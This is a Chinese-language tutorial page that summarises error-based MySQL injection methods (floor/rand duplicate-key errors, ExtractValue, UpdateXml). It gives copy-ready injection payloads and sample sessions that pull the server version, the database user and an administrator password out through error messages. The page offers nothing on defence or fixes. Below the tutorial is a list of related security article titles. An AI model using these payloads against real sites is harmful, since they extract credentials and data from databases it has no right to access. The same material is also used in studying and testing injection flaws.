mysql 注入报错利用方法总结

所属分类: 网络安全 / 安全设置 阅读数: 321
收藏 0 赞 0 分享

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));

举例如下:

首先进行正常查询:

mysql> select * from article where id = 1;

+—-+——-+———+

| id | title | content |

+—-+——-+———+

| 1 | test | do it |

+—-+——-+———+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ‘5.1.33-community-log1’ for key ‘group_key’

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。

例如我们需要查询管理员用户名和密码:

Method1:

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));

ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’

2、ExtractValue

测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–

ERROR 1105 (HY000): XPATH syntax error: ‘\admin888’

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’

更多精彩内容其他人还在看

Redhat服务器疯狂往外发包问题记录解决的方法

这个也可能是影响网速的元凶
收藏 0 赞 0 分享

Shell脚本防攻击的方法与实例

Shell脚本防攻击平时最好别碰到啊.碰到的话按今天说的方法做吧
收藏 0 赞 0 分享

QQ空间存储型XSS漏洞的组合利用(图解)

QQ空间的新型漏洞我们再试试
收藏 0 赞 0 分享

新浪生活服务互动社区Mysql盲注漏洞的介绍及其修复方法(图解)

Mysql盲注漏洞,做网站的要关注哦
收藏 0 赞 0 分享

加加米点击普通网站可刷积分的介绍及其修复方法(图解)

一个可以刷积分的网站的漏洞的介绍与修复方法
收藏 0 赞 0 分享

qq邮箱的几个跨站的方式及修复方案(用word文档,flash跨站,文本型附件等)

qq邮箱的几个跨站的介绍.也给出了修复方案
收藏 0 赞 0 分享

关于星外虚拟机+D盾提权的艰难过程(图)

本文主要介绍了星外虚拟机+D盾提权的主要过程
收藏 0 赞 0 分享

开了3389后WEB渗透远程连接不上的分析与解决

3389开了后.有时候远程连接不上.我们来分析一下
收藏 0 赞 0 分享

如何打造自己的超级防火墙

经典高招打造自己的超级电脑防火墙网络安全中谈到个人上网时的安全,还是先把大家可能会遇到的问题归个类吧。
收藏 0 赞 0 分享

windows下查找并删除克隆账户的方法

克隆账户就是克隆管理员的账户,克隆出来的账户将有何管理员一样的权限,所以克隆账户的危害性在服务器安全中也尤其的大,一般在系统账户中的克隆账户和其他账户有所区别!
收藏 0 赞 0 分享
查看更多